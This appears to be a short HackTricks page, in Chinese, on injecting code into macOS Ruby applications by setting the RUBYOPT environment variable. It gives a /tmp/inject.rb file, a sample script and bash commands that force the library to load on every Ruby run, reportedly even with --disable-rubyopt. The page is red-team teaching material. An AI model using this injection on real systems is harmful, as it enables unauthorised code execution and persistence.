macOS Ruby Applications Injection

Reading time: 2 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

RUBYOPT

使用这个环境变量,可以在每次执行ruby添加新参数。虽然参数**-e不能用于指定要执行的ruby代码,但可以使用参数-I-r来添加一个新文件夹到库加载路径,然后指定要加载的库**。

在**/tmp中创建库inject.rb**:

inject.rb
puts `whoami`

创建一个类似于以下的 Ruby 脚本:

hello.rb
puts 'Hello, World!'

然后使用以下任意 Ruby 脚本加载它:

bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb

有趣的事实,即使使用参数 --disable-rubyopt 也有效:

bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks